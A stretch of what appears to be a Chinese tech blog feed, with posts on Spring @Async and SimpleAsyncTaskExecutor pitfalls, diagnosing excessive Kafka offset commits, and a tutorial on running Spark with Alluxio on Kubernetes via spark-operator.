    就像在这张图里这个读者问的问题,image-20200719200303749

    分为两点回答:

    第一:循环依赖为什么不能被解决?

    这个问题其实很简单,在《面试必杀技,讲一讲Spring中的循环依赖》这篇文章中我从两个方面分析了循环依赖的处理流程

    1. 简单对象间的循环依赖处理
    2. AOP对象间的循环依赖处理

    按照这种思路,@Async注解导致的循环依赖应该属于AOP对象间的循环依赖,也应该能被处理。但是,重点来了,解决AOP对象间循环依赖的核心方法是三级缓存,如下:

    image-20200706105535307

    在三级缓存缓存了一个工厂对象,这个工厂对象会调用getEarlyBeanReference方法来获取一个早期的代理对象的引用,其源码如下:

    protected Object getEarlyBeanReference(String beanName, RootBeanDefinition mbd, Object bean) {
       Object exposedObject = bean;
       if (!mbd.isSynthetic() && hasInstantiationAwareBeanPostProcessors()) {
          for (BeanPostProcessor bp : getBeanPostProcessors()) {
              // 看到这个判断了吗,通过@EnableAsync导入的后置处理器
              // AsyncAnnotationBeanPostProcessor根本就不是一个SmartInstantiationAwareBeanPostProcessor
              // 这就意味着即使我们通过AsyncAnnotationBeanPostProcessor创建了一个代理对象
              // 但是早期暴露出去的用于给别的Bean进行注入的那个对象还是原始对象
             if (bp instanceof SmartInstantiationAwareBeanPostProcessor) {
                SmartInstantiationAwareBeanPostProcessor ibp = (SmartInstantiationAwareBeanPostProcessor) bp;
                exposedObject = ibp.getEarlyBeanReference(exposedObject, beanName);
             }
          }
       }
       return exposedObject;
    }

    看完上面的代码循环依赖的问题就很明显了,因为早期暴露的对象跟最终放入容器中的对象不是同一个,所以报错了。报错的具体位置我在你知道Spring是怎么将AOP应用到Bean的生命周期中的吗? 文章末尾已经分析过了,本文不再赘述

    image-20200720152830307

    解决方案

    就以上面读者给出的Demo为例,只需要在为B注入A时添加一个@Lazy注解即可

    @Component
    public class B implements BService {
        
        @Autowired
        @Lazy
        private A a;
    
        public void doSomething() {
        }
    }

    这个注解的作用在于,当为B注入A时,会为A生成一个代理对象注入到B中,当真正调用代理对象的方法时,底层会调用getBean(a)去创建A对象,然后调用方法,这个注解的处理时机是在org.springframework.beans.factory.support.DefaultListableBeanFactory#resolveDependency方法中,处理这个注解的代码位于org.springframework.context.annotation.ContextAnnotationAutowireCandidateResolver#buildLazyResolutionProxy,这些代码其实都在我之前的文章中分析过了

    Spring杂谈 | Spring中的AutowireCandidateResolver

    谈谈Spring中的对象跟Bean,你知道Spring怎么创建对象的吗?

    所以本文不再做详细分析

    问题2:默认线程池不会复用线程

    我觉得这是这个注解最坑的地方,没有之一!我们来看看它默认使用的线程池是哪个,在前文的源码分析中,我们可以看到决定要使用线程池的方法是org.springframework.aop.interceptor.AsyncExecutionAspectSupport#determineAsyncExecutor。其源码如下:

    protected AsyncTaskExecutor determineAsyncExecutor(Method method) {
        AsyncTaskExecutor executor = this.executors.get(method);
        if (executor == null) {
            Executor targetExecutor;
            // 可以在@Async注解中配置线程池的名字
            String qualifier = getExecutorQualifier(method);
            if (StringUtils.hasLength(qualifier)) {
                targetExecutor = findQualifiedExecutor(this.beanFactory, qualifier);
            }
            else {
                // 获取默认的线程池
                targetExecutor = this.defaultExecutor.get();
            }
            if (targetExecutor == null) {
                return null;
            }
            executor = (targetExecutor instanceof AsyncListenableTaskExecutor ?
                        (AsyncListenableTaskExecutor) targetExecutor : new TaskExecutorAdapter(targetExecutor));
            this.executors.put(method, executor);
        }
        return executor;
    }

    最终会调用到org.springframework.aop.interceptor.AsyncExecutionInterceptor#getDefaultExecutor这个方法中

    protected Executor getDefaultExecutor(@Nullable BeanFactory beanFactory) {
       Executor defaultExecutor = super.getDefaultExecutor(beanFactory);
       return (defaultExecutor != null ? defaultExecutor : new SimpleAsyncTaskExecutor());
    }

    可以看到,它默认使用的线程池是SimpleAsyncTaskExecutor。我们不看这个类的源码,只看它上面的文档注释,如下:

    image-20200720160047340

    主要说了三点

    1. 为每个任务新起一个线程
    2. 默认线程数不做限制
    3. 不复用线程

    就这三点,你还敢用吗?只要你的任务耗时长一点,说不定服务器就给你来个OOM

    解决方案

    最好的办法就是使用自定义的线程池,主要有这么几种配置方法

    1. 在之前的源码分析中,我们可以知道,可以通过AsyncConfigurer来配置使用的线程池

    如下:

    public class DmzAsyncConfigurer implements AsyncConfigurer {
       @Override
       public Executor getAsyncExecutor() {
          // 创建自定义的线程池
       }
    }
    1. 直接在@Async注解中配置要使用的线程池的名称

    如下:

    public class A implements AService {
        
        private B b;
    
        @Autowired
        public void setB(B b) {
            System.out.println(b);
            this.b = b;
        }
    
        @Async("dmzExecutor")
        public void doSomething() {
        }
    }
    @EnableAsync
    @Configuration
    @ComponentScan("com.dmz.spring.async")
    @Aspect
    public class Config {
        @Bean("dmzExecutor")
        public Executor executor(){
            // 创建自定义的线程池
            return executor;
        }
    }

    总结

    本文主要介绍了Spring中异步注解的使用、原理及可能碰到的问题,针对每个问题文中也给出了方案。希望通过这篇文章能帮助你彻底掌握@Async注解的使用,知其然并知其所以然!

    文章有帮到你的话,记得点个赞哈~
    如果本文对你由帮助的话,记得点个赞吧!也欢迎关注我的公众号,微信搜索:程序员DMZ,或者扫描下方二维码,跟着我一起认认真真学Java,踏踏实实做一个coder。

    我叫DMZ,一个在学习路上匍匐前行的小菜鸟!

    ]]>
    Kafka offset commit 分析工具 Fri, 02 May 2025 09:39:03 +0800 问题起因

    前些天生产上的一套Kafka集群吞吐量异常高,根据Grafana监控发现主要数据TPS来自 __consumer_offsets队列。

    image.png

    其他业务TOPIC总TSP才几百+,而kafka内部Topic __consumer_offsets 达到33.85k,这现象明显不正常啊。

    排查思路

    首先怀疑是不是监控出问题了,Prometheus Exporter有bug? 还是Grafana Metrics写错了?又看了看其他集群的监控,发现并不是监控工具的问题。

    然后登陆到kafka集群后台服务器,查看一下这个topic的LOG-END-OFFSET情况,使用kafka命令行工具kafka-consumer-groups.sh,间隔5分钟采集多次,然后计算一下每秒的增量,发现和监控显示的吞吐量基本吻合。

    __consumer_offsets 22         -               2729106         -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 30         -               0               -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 8          -               2902605         -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 21         -               0               -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 4          -               26901884        -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 27         -               1173895         -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 7          -               829529641       -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 9          -               1788460542      -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 46         -               0               -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    __consumer_offsets 25         -               0               -               consumer-10656153-9fd2bbbb-6e4f-41d1-9b60-2bbcf387bd65 /xxx.xxx.xxx    consumer-10656153
    ......

    顺便说一下Kafka的内部队列 __consumer_offsets的作用,kafka默认将这个topic分成了50个partition,用于存储consumer group每次commit的offset信息,目的是为了在consumer重启后或者在增减消费者时,可以根据此offset信息继续消费。
    Consumer Group 对应Partition计算规则:Math.abs(groupID.hashCode()) % numPartitions
    Topic中存储的消息格式:[Group, Topic, Partition]::[OffsetMetadata[Offset, Metadata], CommitTime, ExpirationTime]

    分析到了这里,造成__consumer_offsets吞吐量过高的真相只有一个了,就是业务端的应用服务中的consumer group提交的频次过高。

    既然已经定位了问题了 ,那么去追查具体服务就OK了吧,现实情况显然不是这样的,使用这套kafka集群的平台是一个非常庞大的业务系统,150+的微服务,具体哪些服务和kafka相关,哪些是消费者,估计都得梳理几天。。。

    分析工具

    既然已经知道问题产生的原因,同时也了解kafka内部队列__consumer_offsets的存储策略,那么写个程序去读取该topic的消息,然后分析哪些consumer group的提交频次过高,根据group name便可以直接定位具体是哪个微服务了。

    coding......

    开始表演show time.......

    根据定位到的异常微服务排查发现,有使用offset自动提交,但是auto.commit.interval设置了100ms,也有使用手动提交offset,但无数据消费时仍然提交offset。。。太坑了

    此后,代码质量的checkpoint项中增加关于kafka使用的检查。

    最后分享一下工具GitHub地址:kafka-offset-consumer
    image.png

    ]]>
    你也被Spring的这个“线程池”坑过吗? Fri, 02 May 2025 09:39:03 +0800

    原文链接

    前两天一个晚上,正当我沉浸在敲代码的快乐中时,听到隔壁的同事传来一声不可置信的惊呼:线程池提交命令怎么可能会执行一秒多?
    线程池提交方法执行一秒多?那不对啊,线程池提交应该是一个很快的操作,一般情况下不应该执行一秒多那么长的时间。
    看了一下那段代码,好像也没什么问题,就是一个简单的提交任务的代码。

    executor.execute( () -> {
        // 具体的任务代码
        // 这里有个for循环
    });

    虽然执行的Job里面有一个for循环,可能比较耗时,但是execute提交任务的时候,并不会去真正去执行Job,所以应该不是这个原因引起的。

    分析

    看到这个情况,我们首先想到的是线程池提交任务时候的一个处理过程:
    image.png

    然后逐个分析一下有可能耗时一秒多的操作:
    创建线程耗时?
    根据上面的图,我们可以知道,如果核心线程数量设置过大,就可能会不断创建新的核心线程去执行任务。同理,如果核心线程池和任务队列都满了,会创建非核心线程去执行任务。
    创建线程是比较耗时的,而且Java线程池在这里创建线程的时候还上了锁。

    final ReentrantLock mainLock = this.mainLock;
    mainLock.lock();
    

    我们写个简单的程序,可以模拟出来线程池耗时的操作,下面这段代码创建2w个线程,在我的电脑里大概会耗时6k多毫秒。

    long before = System.currentTimeMillis();
    for (int i = 0; i < 20000; i++) {
        // doSomething里面睡眠一秒
        new Thread(() -> doSomething()).start();
    }
    long after = System.currentTimeMillis();
    // 下面这行在我的电脑里输出6139
    System.out.println(after - before);

    但是看了一下我们的监控,线程数量一直比较健康,应该不是这个原因。再说那个地方新线程也不太可能达到这个量级。
    入任务队列耗时?
    线程池的任务队列是一个同步队列。所以入队列操作是同步的。
    常用的几个同步队列:

    1. LinkedBlockingQueue
      链式阻塞队列,底层数据结构是链表,默认大小是Integer.MAX_VALUE,也可以指定大小。
    2. ArrayBlockingQueue
      数组阻塞队列,底层数据结构是数组,需要指定队列的大小。
    3. SynchronousQueue
      同步队列,内部容量为0,每个put操作必须等待一个take操作,反之亦然。
    4. DelayQueue
      延迟队列,该队列中的元素只有当其指定的延迟时间到了,才能够从队列中获取到该元素 。

    所以使用特殊的同步队列还是有可能导致execute方法阻塞一秒多的,比如SynchronousQueue。如果配合一个特殊的“拒绝策略”,是有可能造成这个现象的,我们将在下面给出例子。
    拒绝策略?
    线程数量达到最大线程数就会采用拒绝处理策略,四种拒绝处理的策略为 :

    1. ThreadPoolExecutor.AbortPolicy:默认拒绝处理策略,丢弃任务并抛出异常。
    2. ThreadPoolExecutor.DiscardPolicy:丢弃新来的任务,但是不抛出异常。
    3. ThreadPoolExecutor.DiscardOldestPolicy:丢弃队列头部(最旧的)的任务,然后重新尝试执行程序(如果再次失败,重复此过程)。
    4. ThreadPoolExecutor.CallerRunsPolicy:由调用线程处理该任务。

    可以看到,前面三种拒绝处理策略都是会“丢弃”任务,而最后一种不会。最后一种拒绝策略配合上面的SynchronousQueue,就有可能造成我们遇到的情况。示例代码:

    Executor executor = new ThreadPoolExecutor(2,2, 2, 
                         TimeUnit.MILLISECONDS,new SynchronousQueue<>(), 
                         new ThreadPoolExecutor.CallerRunsPolicy());
    for (int i = 0; i < 3; i++) {
        long before = System.currentTimeMillis();
        executor.execute( () -> {
            // doSomething里面睡眠一秒
            doSomething();
        });
        long after = System.currentTimeMillis();
        // 下面这段代码,第三行会输出1001
        System.out.println(after - before);
    }

    SimpleAsyncTaskExecutor

    所以我们遇到的问题会是上面的种种原因导致的吗?带着这些猜测,我们去找到了定义executor的代码。

    SimpleAsyncTaskExecutor executor = new SimpleAsyncTaskExecutor();
    executor.setConcurrencyLimit(20);

    设置最大并发数量是20好像没什么问题,等等,这个SimpleAsyncTaskExecutor是个什么鬼?
    好像是Spring提供的一个线程池吧……(声音逐渐不自信)
    em…看了一下包的定义,org.springframework.core.task,确实是Spring提供的。至于是不是线程池,先看看类图:
    image.png
    实现的是Executor接口,但是继承树里为什么没有ThreadPoolExecutor?我们猜测可能是Spring自己实现了一个线程池?虽然应该没什么必要。

    源码

    带着疑问,我们继续看了一下这个类的源码。主要看execute方法,发现每次执行之前,都要先调用一个beforeAccess方法,这个方法里面有这样一段很奇怪的代码:
    image.png
    while循环去检查,如果当前并发线程数量大于等于设置的最大值,就等待。
    找到原因了,这应该就是罪魁祸首。可是为什么Spring要这么设计呢?
    我们在SimpleAsyncTaskExecutor类的注释上面找到了作者的留言:

     * <p><b>NOTE: This implementation does not reuse threads!</b> Consider a
     * thread-pooling TaskExecutor implementation instead, in particular for
     * executing a large number of short-lived tasks.

    大概意思就是:这个实现并不复用线程,如果你要复用线程请去使用线程池的实现。这个是用来执行很多耗时很短的任务的。
    至此,真相大白。

    反思

    使用接口前先了解一下
    造成这个问题的根本原因是,我们以为SimpleAsyncTaskExecutor是一个“线程池”,而其实它不是!!!
    我们在使用开源项目的时候,往往直接就用了,不会去仔细看看它的源码,也可能没有考虑清楚它的应用环境。等到程序出问题了才发现,已经晚了。
    所以使用接口之前最好先了解一下,至少要看看官方文档或者接口文档/注释。
    哪怕是真的出问题了,看源码也不失为一种排查问题的方式,因为代码都是死的,它不会骗人。
    代码规约
    阿里有这么一个代码规约:不建议我们直接使用Executors类中的线程池,而是通过ThreadPoolExecutor的方式,这样的处理方式让写的同学需要更加明确线程池的运行规则,规避资源耗尽的风险。
    以前我还不太理解,心想使用Executors类可以提高可读性,JDK提供了这样的工具类,不用白不用。直到遇到这个问题,才明白这条规约的良苦用心。
    如果我们使用规范的方式去使用线程池,而不是用一个所谓的Spring提供的“线程池”,就不会遇到这个问题了。
    明确接口职责
    再来想一想为什么同事会把它当成一个线程池?因为它的类名、方法名都太像一个线程池了。它实现了Executor接口的execute方法,才导致我们误以为它是一个线程池。
    所以回归到Executor这个接口上来,它的职责究竟是什么?我们可以在JDK的execute方法上看到这个注释:

    /**
    * Executes the given command at some time in the future.  The command
    * may execute in a new thread, in a pooled thread, or in the calling
    * thread, at the discretion of the {@code Executor} implementation.
    */

    大意就是,在将来某个时间执行传入的命令,这个命令可能会在一个新的线程里面执行,可能会在线程池里,也可能在调用这个方法的线程中,具体怎么执行是由实现类去决定的。
    所以这才是Executor这个类的职责,它的职责并不是提供一个线程池的接口,而是提供一个“将来执行命令”的接口。
    所以,真正能代表线程池意义的,是ThreadPoolExecutor类,而不是Executor接口。
    在我们写代码的时候,也要定义清楚接口的职责哟。这样别人用你的接口或者阅读源码的时候,才不会疑惑。

    来源:编了个程
    作者:Yasin x

    ]]>
    在kubernetes中用alluxio加速spark数据访问(二) Fri, 02 May 2025 09:39:03 +0800 相关文章:

    1.背景信息

    1.1 alluxio

    Alluxio是一个开源的基于内存的分布式存储系统,适合作为云上大数据和AI / ML的数据编排方案。Alluxio可以同时管理多个底层文件系统,将不同的文件系统统一在同一个名称空间下,让上层客户端可以自由访问统一名称空间内的不同路径,不同存储系统的数据。

    alluxio的short-circuit功能可以使alluxio客户端直接访问alluxio worker所在主机的工作存储,而不需要通过网络栈与alluxio worker完成通信,可以提高性能。

    1.2 spark operator

    Spark-operator用于管理k8s集群中spark job。通过spark-operator可以在k8s集群中创建、查看和删除spark job。

    2.前提条件

    本文档的操作依赖如下的一些条件:

    • kubernetes集群:版本大于1.8,本次实验的集群通过阿里云容器服务创建,集群名称为"ack-create-by-openapi-1"。

    image1.png

    • 安装有linux或者mac操作系统的计算机作为我们的实验环境(本次实验中,假设该计算机名称为alluxio-test)。该计算机需要准备如下环境:

      • docker >= 17.06
      • kubectl >= 1.8,能够连接kubernets集群ack-create-by-openapi-1

    3.实验步骤

    实验步骤主要包括如下几步:

    • 部署alluxio
    • 部署spark-operator
    • 制作spark docker镜像
    • 上传文件到alluxio
    • 提交spark job

    下面将对每个步骤进行说明:

    3.1 部署alluxio

    进入容器服务应用目录,在右上角的搜索框中搜索"alluxio",然后进入alluxio主界面,如图:
    image2.png

    然后选择将alluxio安装到目标集群上(本次实验的集群为"ack-create-by-openapi-1"),最后点击创建,如图
    image3.png

    点击创建后,使用kubectl给待安装的alluxio组件的节点打上标签"alluxio=true",首先查看该集群有哪些节点:

    $ kubectl get nodes -o wide
    NAME                      STATUS   ROLES    AGE   VERSION            INTERNAL-IP    EXTERNAL-IP   OS-IMAGE                               KERNEL-VERSION            CONTAINER-RUNTIME
    cn-beijing.192.168.8.12   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.12   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.13   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.13   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.14   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.14   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.15   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.15   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.16   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.16   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.17   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.17   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5

    可以看到有三个worker节点,分别为:

    • cn-beijing.192.168.8.15
    • cn-beijing.192.168.8.16
    • cn-beijing.192.168.8.17

    我们给是三个节点都打上标签"alluxio=true":

    $ kubectl label nodes cn-beijing.192.168.8.15 
      cn-beijing.192.168.8.16 
      cn-beijing.192.168.8.17 
      alluxio=true

    使用kubectl查看各个pod是否都处于running状态:

    $ kubectl get po -n alluxio
    NAME                   READY   STATUS    RESTARTS   AGE
    alluxio-master-0       2/2     Running   0          4h1m
    alluxio-worker-5zg26   2/2     Running   0          4h1m
    alluxio-worker-ckmr9   2/2     Running   0          4h1m
    alluxio-worker-dvgvd   2/2     Running   0          4h1m

    验证alluxio是否处于ready:

    $ kubectl exec -ti alluxio-master-0 -n alluxio bash
    
    //下面步骤alluxio-master-0 pod中执行
    bash-4.4# alluxio fsadmin report capacity
    
    Capacity information for all workers:
        Total Capacity: 3072.00MB
            Tier: MEM  Size: 3072.00MB
        Used Capacity: 0B
            Tier: MEM  Size: 0B
        Used Percentage: 0%
        Free Percentage: 100%
    
    Worker Name      Last Heartbeat   Storage       MEM
    192.168.8.15    0                capacity      1024.00MB
                                      used          0B (0%)
    192.168.8.16    0                capacity      1024.00MB
                                      used          0B (0%)
    192.168.8.17    0                capacity      1024.00MB
                                      used          0B (0%)

    3.2 部署spark-operator

    进入容器服务应用目录,在右上角的搜索框中搜索"ack-spark-operator",然后进入ack-spark-operator主界面,如图:
    image4.png

    选择将ack-spark-operator安装到目标集群上(本次实验的集群为"ack-create-by-openapi-1"),然后点击创建,如图:
    image5.png

    sparkctl是一个用于提交spark job到k8s的命令行工具,需要将sparkctl安装到我们在"前提条件"中所提到的实验环境"alluxio-test"中:

    $ wget http://spark-on-k8s.oss-cn-beijing.aliyuncs.com/sparkctl/sparkctl-linux-amd64 -O /usr/local/bin/sparkctl
    $ chmod +x /usr/local/bin/sparkctl

    3.3 制作spark docker镜像

    spark下载页面下载所需的spark版本,本次实验选择的saprk版本为2.4.6。运行如下命令下载spark:

    $ cd /root
    $ wget https://mirror.bit.edu.cn/apache/spark/spark-2.4.6/spark-2.4.6-bin-hadoop2.7.tgz
    #

    下载完成后,执行解压操作:

    $ tar -xf spark-2.4.6-bin-hadoop2.7.tgz
    $ export SPARK_HOME=/root/spark-2.4.6-bin-hadoop2.7

    spark docker镜像是我们提交spark任务时使用到的镜像,这个镜像中需要包含alluxio client jar包。使用如下的命令获取alluxio client jar包:

    $ id=$(docker create alluxio/alluxio-enterprise:2.2.1-1.4)
    $ docker cp $id:/opt/alluxio/client/alluxio-enterprise-2.2.1-1.4-client.jar 
        $SPARK_HOME/jars/alluxio-enterprise-2.2.1-1.4-client.jar
    $ docker rm -v $id 1>/dev/null

    alluxio client jar包准备好以后,开始构建镜像:

    $ docker build -t spark-alluxio:2.4.6 -f kubernetes/dockerfiles/spark/Dockerfile $SPARK_HOME

    请记住镜像名称“spark-alluxio:2.4.6”,在向k8s提交spark job中会用到这个信息。

    镜像构建完成以后,对镜像的处理有两种方式:

    • 如果有私有镜像仓库,将该镜像推送到私有镜像仓库中,同时保证k8s集群节点能够pull该镜像
    • 如果没有私有镜像仓库,那么需要使用docker save命令将该镜像导出,然后scp到k8s集群的各个节点,在每个节点上使用docker load命令将镜像导入,这样就能保证每个节点上都存在该镜像。

    3.4 上传文件到alluxio

    我们在开头提到过,本次实验是提交一个spark job到k8s中,该spark job的目标是对某一个文件统计每一个单词出现的次数,现在需要把这个文件传到alluxio存储上。这里为了方便,直接把alluxio master中/opt/alluxio-2.3.0-SNAPSHOT/LICENSE(文件路径可能因alluxio版本有点差异)这个文件传到alluxio上。

    使用"kubectl exec"进入alluxio master pod,并拷贝当前目录下的LICENSE文件到alluxio的根目录中:

    $ kubectl exec -ti alluxio-master-0  -n alluxio bash
    //下面步骤alluxio-master-0 pod中执行
    bash-4.4# alluxio fs copyFromLocal LICENSE /

    接着查看一下LICENSE这个文件分成的block被alluxio放到哪些worker上了。

    $ kubectl exec -ti alluxio-master-0 -n alluxio bash
    //下面步骤alluxio-master-0 pod中执行
    
    bash-4.4# alluxio fs stat /LICENSE
    /LICENSE is a file path.
    FileInfo{fileId=33554431, fileIdentifier=null, name=LICENSE, path=/LICENSE, ufsPath=/opt/alluxio-2.3.0-SNAPSHOT/underFSStorage/LICENSE, length=27040, blockSizeBytes=67108864, creationTimeMs=1592381889733, completed=true, folder=false, pinned=false, pinnedlocation=[], cacheable=true, persisted=false, blockIds=[16777216], inMemoryPercentage=100, lastModificationTimesMs=1592381890390, ttl=-1, lastAccessTimesMs=1592381890390, ttlAction=DELETE, owner=root, group=root, mode=420, persistenceState=TO_BE_PERSISTED, mountPoint=false, replicationMax=-1, replicationMin=0, fileBlockInfos=[FileBlockInfo{blockInfo=BlockInfo{id=16777216, length=27040, locations=[BlockLocation{workerId=8217561227881498090, address=WorkerNetAddress{host=192.168.8.17, containerHost=, rpcPort=29999, dataPort=29999, webPort=30000, domainSocketPath=, tieredIdentity=TieredIdentity(node=192.168.8.17, rack=null)}, tierAlias=MEM, mediumType=MEM}]}, offset=0, ufsLocations=[]}], mountId=1, inAlluxioPercentage=100, ufsFingerprint=, acl=user::rw-,group::r--,other::r--, defaultAcl=}
    Containing the following blocks:
    BlockInfo{id=16777216, length=27040, locations=[BlockLocation{workerId=8217561227881498090, address=WorkerNetAddress{host=192.168.8.17, containerHost=, rpcPort=29999, dataPort=29999, webPort=30000, domainSocketPath=, tieredIdentity=TieredIdentity(node=192.168.8.17, rack=null)}, tierAlias=MEM, mediumType=MEM}]}

    可以看到LICENSE这个文件只有一个block(id为16777216),被放在了ip为192.168.8.17的k8s节点上。我们使用kubectl查看该节点名称为cn-beijing.192.168.8.17

    $ kubectl get nodes -o wide
    NAME                      STATUS   ROLES    AGE   VERSION            INTERNAL-IP    EXTERNAL-IP   OS-IMAGE                               KERNEL-VERSION            CONTAINER-RUNTIME
    cn-beijing.192.168.8.12   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.12   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.13   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.13   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.14   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.14   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.15   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.15   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.16   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.16   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
    cn-beijing.192.168.8.17   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.17   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5

    3.5 提交spark job

    下面的步骤将提交一个spark job到k8s集群中,该job主要是计算alluxio中/LICENSE文件的每个单词出现的次数。

    在步骤3.4中我们获取到LICENSE这个文件所包含的block都在节点cn-beijing.192.168.8.17上,此次实验中,我们通过指定node selecor让spark driver和spark executor都运行在节点cn-beijing.192.168.8.17。同时,验证在开启alluxio的short-circuit功能的情况下,spark executor和alluxio worker之间的通信是否通过domain socket方式完成。

    • 说明:如果在开启alluxio的short-circuit功能的情况下,并且spark executor与其所要访问的文件(本次实验为/LICENSE这个文件)的block在同一个k8s节点上,那么spark executor中的alluxio client与该k8s节点上的alluxio worker之间的通信通过domain socket方式完成。

    首先生成提交spark job的yaml文件:

    $ export SPARK_ALLUXIO_IMAGE=<步骤3.3中制作的image,即spark-alluxio:2.4.6>
    $ export ALLUXIO_MASTER="alluxio-master-0"
    $ export TARGET_NODE=<步骤3.4获取到的LICENSE文件的block存储的节点,即cn-beijing.192.168.8.17>
    $ cat > /tmp/spark-example.yaml <<- EOF
    apiVersion: "sparkoperator.k8s.io/v1beta2"
    kind: SparkApplication
    metadata:
      name: spark-count-words
      namespace: default
    spec:
      type: Scala
      mode: cluster
      image: "$SPARK_ALLUXIO_IMAGE"
      imagePullPolicy: Always
      mainClass: org.apache.spark.examples.JavaWordCount
      mainApplicationFile: "local:///opt/spark/examples/jars/spark-examples_2.11-2.4.6.jar"
      arguments:
        - alluxio://${ALLUXIO_MASTER}.alluxio:19998/LICENSE
      sparkVersion: "2.4.6"
      restartPolicy:
        type: Never
      volumes:
        - name: "test-volume"
          hostPath:
            path: "/tmp"
            type: Directory
        - name: "alluxio-domain"
          hostPath:
            path: "/tmp/alluxio-domain"
            type: Directory
      driver:
        cores: 1
        coreLimit: "1200m"
        memory: "512m"
        labels:
          version: 2.4.6
        serviceAccount: spark
        volumeMounts:
          - name: "test-volume"
            mountPath: "/tmp"
          - name: "alluxio-domain"
            mountPath: "/opt/domain"
        nodeSelector:
          kubernetes.io/hostname: "$TARGET_NODE"
      executor:
        cores: 1
        instances: 1
        memory: "512m"
        labels:
          version: 2.4.6
        nodeSelector:
          kubernetes.io/hostname: "$TARGET_NODE"
        volumeMounts:
          - name: "test-volume"
            mountPath: "/tmp"
          - name: "alluxio-domain"
            mountPath: "/opt/domain"
    EOF

    然后,使用sparkctl提交spark job:

    $ sparkctl create /tmp/spark-example.yaml

    4.实验结果

    当spark driver pod处于completed状态时,使用kubectl查看spark driver的日志:

    $ kubectl get po -l spark-role=driver
    NAME                                 READY   STATUS      RESTARTS   AGE
    spark-alluxio-1592296972094-driver   0/1     Completed   0          4h33m
    
    $ kubectl logs spark-alluxio-1592296972094-driver --tail 20
    
    USE,: 3
    Patents: 2
    d): 1
    comment: 1
    executed: 1
    replaced: 1
    mechanical: 1
    20/06/16 13:14:28 INFO SparkUI: Stopped Spark web UI at http://spark-alluxio-1592313250782-driver-svc.default.svc:4040
    20/06/16 13:14:28 INFO KubernetesClusterSchedulerBackend: Shutting down all executors
    20/06/16 13:14:28 INFO KubernetesClusterSchedulerBackend$KubernetesDriverEndpoint: Asking each executor to shut down
    20/06/16 13:14:28 WARN ExecutorPodsWatchSnapshotSource: Kubernetes client has been closed (this is expected if the application is shutting down.)
    20/06/16 13:14:28 INFO MapOutputTrackerMasterEndpoint: MapOutputTrackerMasterEndpoint stopped!
    20/06/16 13:14:28 INFO MemoryStore: MemoryStore cleared
    20/06/16 13:14:28 INFO BlockManager: BlockManager stopped
    20/06/16 13:14:28 INFO BlockManagerMaster: BlockManagerMaster stopped
    20/06/16 13:14:28 INFO OutputCommitCoordinator$OutputCommitCoordinatorEndpoint: OutputCommitCoordinator stopped!
    20/06/16 13:14:28 INFO SparkContext: Successfully stopped SparkContext
    20/06/16 13:14:28 INFO ShutdownHookManager: Shutdown hook called
    20/06/16 13:14:28 INFO ShutdownHookManager: Deleting directory /var/data/spark-2f619243-59b2-4258-ba5e-69b8491123a6/spark-3d70294a-291a-423a-b034-8fc779244f40
    20/06/16 13:14:28 INFO ShutdownHookManager: Deleting directory /tmp/spark-054883b4-15d3-43ee-94c3-5810a8a6cdc7
    

    最后我们登陆到alluxio master上,查看相关指标统计到的值:

    $ kubectl exec -ti alluxio-master-0 -n alluxio bash
    //下面步骤alluxio-master-0 pod中执行
    bash-4.4# alluxio fsadmin report metrics
